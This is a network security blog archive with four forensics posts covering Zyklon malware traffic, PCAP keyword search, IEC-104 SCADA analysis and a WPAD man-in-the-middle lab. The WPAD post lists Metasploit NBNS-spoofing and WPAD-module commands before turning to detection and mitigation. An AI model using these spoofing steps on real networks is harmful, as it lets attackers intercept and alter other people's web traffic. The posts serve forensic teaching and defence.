NETRESEC Network Security Blog - Tag : network

rss Google News

Zyklon Malware Network Forensics Video Tutorial

We are releasing a series of network forensics video tutorials throughout the next few weeks. First up is this analysis of a PCAP file containing network traffic from the "Zyklon H.T.T.P." malware.

Analyzing a Zyklon Trojan with Suricata and NetworkMiner


Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv: Gecko/20070302 BonEcho/

Posted by Erik Hjelmvik on Monday, 05 February 2018 07:30:00 (UTC/GMT)

Tags: #Netresec#PCAP#Trojan#video#tutorial#videotutorial#NetworkMiner#SecurityOnion#Suricata#malware#network#forensics#NSM#malware_traffic

Share: Facebook   Twitter   Reddit   Hacker News Short URL:

Keyword Search in PCAP files

Sherlock Holmes and Magnifying Glass via Inside Croydon A new function in the free version of CapLoader 1.2 is the "Find Keyword" feature. This keyword search functionality makes it possible to seek large capture files for a string or byte pattern super fast!

You might say, so what? PCAP string search can already be done with tools like tcpflow, ngrep and even Wireshark; what's the benefit of adding yet another tool to this list? One benefit is that CapLoader doesn't just give you the packet or content that matched the keyword, it will instead extract the whole TCP or UDP flow that contained the match. CapLoader also supports many different encodings, which is demonstrated in this blog post.

Here are a few quick wins with CapLoader's keyword search feature:

  • Track User-Agent - Search for a specific user agent string to extract all the HTTP traffic from a particular browser or malware.
  • Track Domain Name - Search for a particular domain name to get all DNS lookups as well as web traffic relating to that domain (including HTTP "referer" field matches).
  • Extract Messages - Search for a keyword in e-mail or chat traffic to get the whole e-mail or conversation, not just the single packet that matched.
  • Extract Files - Search for a unique string or byte sequence in a file (such as a piece of malware) to enable extraction of the complete file transfer.

EXAMPLE: DigitalCorpora M57

As an example, let's search the digital corpora file net-2009-12-06-11:59.pcap (149 MB) for the keyword "immortal". Follow these steps in order to veify our analysis using the free edition of CapLoader.

  1. Start CapLoader and select File -> Open URL, enter:
  2. Edit -> Find Keyword (or Ctrl+F), enter "immortal" CapLoader Find Keyword Form
  3. Click the "Find and Select All Matching Flows" button
  4. One TCP flow is now selected (Flow_ID 5469, -> CapLoader with one selected flow
  5. Right click the selected flow (ID 5469) and select "Flow Transcript"
CapLoader Flow Transcript of SMTP email attachment

CapLoader transcript of SMTP email flow

Looks as if an email has been sent with an attachment named "microscope1.jpg". However, the string "immortal" cannot be seen anywhere in the transcript view. The match that CapLoader found was actually in the contents of the attachment, which has been base64 encoded in the SMTP transfer in accordance with RFC 2045 (MIME).

The email attachment can easily be extracted from the PCAP file using NetworkMiner. However, to keep things transparent, let's just do a simple manual verification of the matched data. The first three lines of the email attachment are:

Decoding this with base64 gives us:
0000000: ffd8 ffe0 0010 4a46 4946 0001 0101 0090 ......JFIF......
0000010: 0090 0000 ffdb 0043 0001 0101 0101 0101 .......C........
0000020: 0101 0101 0101 0101 0101 0101 0101 0101 ................
0000030: 0101 0101 0101 0101 0101 0101 0101 0101 ................
0000040: 0101 0101 0101 0101 0101 0101 0101 0101 ................
0000050: 0101 0101 0101 0101 01ff db00 4301 0101 ............C...
0000060: 0101 0101 0101 0101 0101 0101 0101 0101 ................
0000070: 0101 0101 0101 0101 0101 0101 0101 0101 ................
0000080: 7061 7373 776f 7264 3d69 6d6d 6f72 7461 password=immorta
0000090: 6c01 0101 0101 0101 0101 0101 0101 ffc0 l...............

Tools like ngrep, tcpflow and Wireshark won't find any match for the string "immortal" since they don't support searching in base64 encoded data. CapLoader, on the other hand, supports lots of encodings.

Supported Text Encodings

CapLoader currently supports fast searching of text strings in any of the following encodings:

  • Base64 (used in email attachments and HTTP POST's)
  • DNS label encoding (RFC 1035)
  • HTML
  • Quoted Printable (used in body of email messages)
  • Unicode
  • URL encoding
  • UTF8

CapLoader also supports several local character sets, including the following code pages:

  • 437 MS-DOS Latin US
  • 850 MS-DOS Latin 1
  • 932 Japanese
  • 936 Simplified Chinese
  • 949 Korean
  • 1251 Windows Cyrillic (Slavic)
  • 1256 Windows Arabic

Having all these encodings also makes it possible to search network traffic for words like хакер, القراصنة, ハッカー, 黑客 or 해커.

The Art of War by Sun Tzu

Getting CapLoader

CapLoader is a commercial tool that also comes in a free trial edition. The search feature is available in both versions, so feel free to download CapLoader and try it your self!

CapLoader is available from the following URL:

Posted by Erik Hjelmvik on Wednesday, 02 April 2014 13:15:00 (UTC/GMT)

Tags: #search#find#keyword#flow#stream#PCAP#SMTP#transcript#free#network

Share: Facebook   Twitter   Reddit   Hacker News Short URL:

SCADA Network Forensics with IEC-104


A great way to enable digital forensics of control system networks is to implement network security monitoring. Captured network traffic is a great source for evidence when analyzing an attackers steps as he attempts to hack a SCADA system. The newly added support for the IEC-104 protocol in NetworkMiner also allows investigators and incident responders to see what commands the attacker sent to the control system.

We at Netresec recently announced the release of NetworkMiner 1.4, which comes with a parser for the SCADA protocol IEC 60870-5-104 (aka IEC-104). Bringing this Industrial Control System (ICS) protocol into NetworkMiner is a first step to support forensics of compromised ICS networks. The traffic from ICS networks does, of course, need to be captured (sniffed) in order to support network forensics; we are strong supporters of such network monitoring for ICS networks (read our “Monitor those Control System Networks” blog post for more details).

Why monitor ICS networks?

Computer forensics typically involves performing forensic analysis of hard disks. Disk forensics is very effective when analyzing a hard drive from a PC (like an operator workstation), but far more complicated when it is an embedded device like a PLC or RTU that is to be analyzed.

In regard to what was believed to be a hacked SCADA system at a water facility in Illinois, David Marcus from McAfee said:

“My gut tells me that there is greater targeting and wider compromise than we know about. Why? Again, my instincts tell me that there is a lack of cyber forensics and response procedures at most of these facilities. If you do not have cyber forensic capabilities, it is hard to know if you have a cyber intrusion.”

Even though the hack was later shown to just be just a false alarm, David’s point about lacking capabilities for digital forensics and incident response for this type of critical infrastructure still holds true.

Joe Weiss also commented on the same story saying:

“We don't know how many other SCADA systems have been compromised because they don't really have cyber forensics.”

As Joe and David say, the ability to perform digital forensics in SCADA systems is truly lacking today. Our propose with this blog post is to inform control system operators that forensic data/evidence can be easily collected from ICS / SCADA systems by implementing a simple solution for network monitoring with full packet capture.

How to monitor ICS networks

The SCADA network diagram below has been sectioned into multiple security zones according to the zoning principle published by Jens Z, Iiro and me at CIRED 2009 (our zones align nicely with ISA-99 security Levels by the way).

SCADA Network with security zones

The purple octagons represent interconnections between zones. Each such interconnection should be secured with perimeter protection, typically by a firewall, but we additionally argue that all network traffic passing through should be captured and stored as pcap files. Storing all network traffic this way makes it possible to perform network forensics on the network traffic after an intrusion is believed to have taken place.

We recommend a very simple setup, where a network tap is used to provide a copy of all traffic to a sniffer. An acceptable alternative to buying a network tap is to configure a monitor / SPAN port on a switch (see our sniffing tutorial “Intercepting Network Traffic” for more details on how to choose sniffing hardware).

Connection of network tap and sniffer

Our recommended solution for the sniffer is to install FreeBSD with dumpcap (part of the net/tshark ports package). An even easier solution is to install Doug BurksSecurity Onion, which is a Linux distro built especially for network security monitoring. More about configuring a sniffer can be found in our second sniffing tutorial titled “Dumping Network Traffic to Disk”.

Analyzing captured IEC 104 traffic

Let’s assume the file 090813_diverse.pcap from pcapr contains network traffic from a suspected security breach at a hydro-power plant. Let’s also assume that parameter 4821 (i.e. IOA 4821 in IEC-104 language) controls the floodgates of the plant’s dam, where setting a value greater than 0% for this parameter would mean opening the floodgates.

By loading the pcap file into NetworkMiner and selecting the “parameters” tab we can see a nice log of all IEC-104 communication.

NetworkMiner 1.4.1 with Parameters tab

NOTE: We’ve hidden several fields (like IP, port, time etc) in the screenshot above in order to make it fit.

The following timeline can be extracted from the list of events provided by NetworkMiner:

  • Frame 154 - The attacker sends command to set IOA 4821 to 50.354%
  • Frame 156 - The RTU confirms the request
  • Frame 162 - The RTU reports that the requested command has been successfully completed, i.e. floodgates are now open!

Open dam gates by David Baird

More ICS protocols

Would you like to see more ICS protocols in NetworkMiner? We’d be happy to implement protocols like DNP3, MODBUS, ICCP, Siemens S7, IEC 61850, etc. if you can provide us with captured network traffic! Please send an email to info[at] if you are interested!

Posted by Erik Hjelmvik on Thursday, 30 August 2012 12:03:00 (UTC/GMT)

Tags: #Forensics#ICS#SCADA#control system#Network#Sniff#Capture#Monitor#pcap

Share: Facebook   Twitter   Reddit   Hacker News Short URL:

WPAD Man in the Middle


Metasploit was recently updated with a module to generate a wpad.dat file for WPAD man-in-the-middle (MITM) attacks. This blog post explains how this attack works and how to investigate such an attack by analyzing captured network traffic.

Windows' WPAD feature has for many years provided attackers and penetration testers a simple way to perform MITM attacks on web traffic. There is, for example, a great blog post by Tod Beardsley called "MS09-008: Web Proxy Auto-Discovery (WPAD), Illustrated" that highlights the problems with WPAD. Now finally, roughly 10 years after WPAD was introduced, the penetration testing framework Metasploit includes support for WPAD via a new auxiliary module located at "auxiliary/server/wpad". This module, which is written by Efrain Torres, can be used to perform for man-in-the-middle (MITM) attacks by exploiting the features of WPAD.

What is WPAD?

WPAD is short for "Web Proxy Autodiscovery Protocol", and is a method for Windows machines to detect which machine to use as proxy for HTTP(S) traffic.

The process of finding a web proxy with WPAD basically works like this:

  1. Did I receive a WPAD entry in my DHCP lease?
    If yes, then jump to #4.
  2. Ask the DNS server who is called "wpad" (or wpad.[]).
    Jump to #4 if a the lookup was successful.
  3. Broadcast a NetBIOS Name Service message and ask for "WPAD".
    Continue to #4 if anyone on the network claims to be called "WPAD", otherwise don't use any web proxy.
  4. Download the file hxxp://wpad/wpad.dat
  5. Use IP address defined in wpad.dat as the web proxy for all HTTP and HTTPS web traffic.

This process is clearly vulnerable to DHCP spoofing (step #1) and DNS poisoning (step #2). But an even easier solution is to set up a computer with hostname "WPAD" where a file called "wpad.dat" is served via HTTP on port 80, which apparently is what Metasploit's egyp7 has done on his travel laptop.

Exploiting the WPAD vulnerability

I've set up a lab network to look closer at a WPAD MITM attack from a network security monitoring (NSM) perspective.

WPAD lab network setup

The attacker and the victim are in this scenario connected to the same LAN, which is a typical situation when connecting to networks at airports, conferences or hotels. All traffic from the local network is also captured by a sniffer via a monitor/SPAN port.

The attacker machine is running Backtrack Linux, which contains Metasploit as well as Burp Suite.

The following steps are carried out in order to mount the attack:

  1. Update Metasploit to the latest version, which contains the WPAD module
  2. Start Metasploit's command line tool msfconsole
  3. Spoof NetBIOS Name Service (NBNS) responses for "WPAD"
  4. Set up the WPAD module to fool clients into using the attacker machine as web proxy

root@bt:~# msfupdate [*]
[*] Attempting to update the Metasploit Framework...

...some time later...
Updated to revision 15622
root@bt:~# msfconsole

       =[ metasploit v4.4.0-dev [core:4.4 api:1.0]
+ -- --=[ 901 exploits - 491 auxiliary - 150 post
+ -- --=[ 250 payloads - 28 encoders - 8 nops
       =[ svn r15622 updated yesterday (2012.07.12)

msf > use auxiliary/spoof/nbns/nbns_response
msf auxiliary(nbns_response) > set regex WPAD
regex => WPAD
msf auxiliary(nbns_response) > set spoofip
spoofip =>
msf auxiliary(nbns_response) > run
[*] Auxiliary module execution completed
[*] NBNS Spoofer started. Listening for NBNS requests...

msf > use auxiliary/server/wpad
sf auxiliary(wpad) > set proxy
proxy =>
msf auxiliary(wpad) > run

Clients on the local network with Web Proxy Autodiscovery configured will now try to use the attacker's machine as proxy for HTTP and HTTPS traffic. The attacker will therefore run Burp to proxy all outgoing web traffic via TCP port 8080.

This is what the attacker sees when the victim machine boots up and attempts to access

msf auxiliary(wpad) >
[*] wpad - Request 'GET Microsoft SUS Client/2.0
[*] wpad - Sending WPAD config ...

The attacker can at this point monitor all web traffic to/from the victim machine. He also has full control over the traffic and can modify the outgoing requests as well as responses. Using WPAD to perform such a MITM attack on Windows Update is actually exactly what the Flame malware did.

Analyzing the attack

Being able to access archived full content network traffic when analyzing an incident is a gold mine if you are doing network forensics (see our sniffing tutorial part 1 and part 2 for more details on how to set up your sniffer). I will in this scenario look at the network traffic captured by the sniffer via a SPAN port.

A good first step in the analysis is to look at the TCP and UDP flows from the captured traffic, preferably by loading the captured "WPAD.pcap" into CapLoader.

CapLoader showinf WPAD related flows

These flows can be used to build a rough timeline of the events:

  • Flow #2 – The victim ( queries the local DNS server for "wpad"
  • Flow #3 – The victim sends out a broadcast NBNS message on the local network, asking for "WPAD"
  • Flow #4 – The attacker ( responds to the broadcast message, saying that he is "WPAD".
    Note that the spoofed NBNS response is sent from UDP port 1337, which is a typical indicator of Metasploit's "nbns_response.rb" being used.
  • Flow #5 – The victim downloads wpad.dat from the attacker
  • Flow #6 – The victim tries to access via the attacker's web proxy on TCP 8080

The details shown in this timeline can be found by loading WPAD.pcap into NetworkMiner:

NetworkMiner 1.3 hosts tab

The "Host Details" section of the victim ( show that he has queried for the NetBIOS name "WPAD" and DNS name "wpad".

The attackers machine ( seems to have multiple hostnames, where one is WPAD. The other hostnames stem from the fact that the attacker's web proxy claims to be "" or any other web server the victim tries to access. We can also see in the "Host Details" secion that the web proxy on TCP 8080 has multiple web server banners. Hosts that show up in NetworkMiner as having many hostnames and server banners are typically web proxies.

NetworkMiner 1.3 Files tab

The files tab in NetworkMiner shows that the downloaded wpad.dat has been extracted and reassembled from the pcap file. The contents of the reassembled file look like this:

function FindProxyForURL(url, host) {
  // URLs within this network are accessed directly
  if (isInNet(host, "", ""))
    return "DIRECT";
  return "PROXY; DIRECT";

WPAD announcements in DHCP, DNS or NetBIOS can also be found by using the following Wireshark display filter:

"bootp.option.type eq 252 or eq wpad or nbns contains 46:48:46:41:45:42:45:45"

Running tshark on my WPAD.pcap with the filter above gives me this output:

tshark -r WPAD.pcap -R "bootp.option.type eq 252 or eq wpad or nbns contains 46:48:46:41:45:42:45:45"
4 181.811702 -> DNS Standard query A wpad
5 181.812903 -> DNS Standard query response
6 181.813790 -> NBNS Name query NB WPAD.<00>
7 181.867980 -> NBNS Name query response NB

Mitigating WPAD MITM - Disable WPAD

A simple way to avoid falling victim to a WPAD attack is to disable Web Proxy Auto Discovery in Windows by disabling the "Automatically detect settings" checkbox in the "LAN settings" window.

Windows WPAD configuration

UPDATE 2016-06-10

In Windows 10 this feature is located in the Proxy settings window.

WPAD setting in Windows 10

UPDATE 2016-05-31

mrhinkydink pointed out on Reddit that you will also need to to disable WinHttpAutoProxySvc, which runs as Local Service.

WinHTTP Web Proxy Auto-Discovery Service (WPAD)

Here's the description of WinHttpAutoProxySvc:

WinHTTP implements the client HTTP stack and provides developers with a Win32 API and COM Automation component for sending HTTP requests and receiving responses. In addition, WinHTTP provides support for auto-discovering a proxy configuration via its implementation of the Web Proxy Auto-Discovery (WPAD) protocol.

Posted by Erik Hjelmvik on Tuesday, 17 July 2012 19:51:00 (UTC/GMT)

Tags: #MITM#NetBIOS#Forensics#PCAP#Network#ASCII-art

Share: Facebook   Twitter   Reddit   Hacker News Short URL:


NETRESEC on Twitter

Follow @netresec on twitter: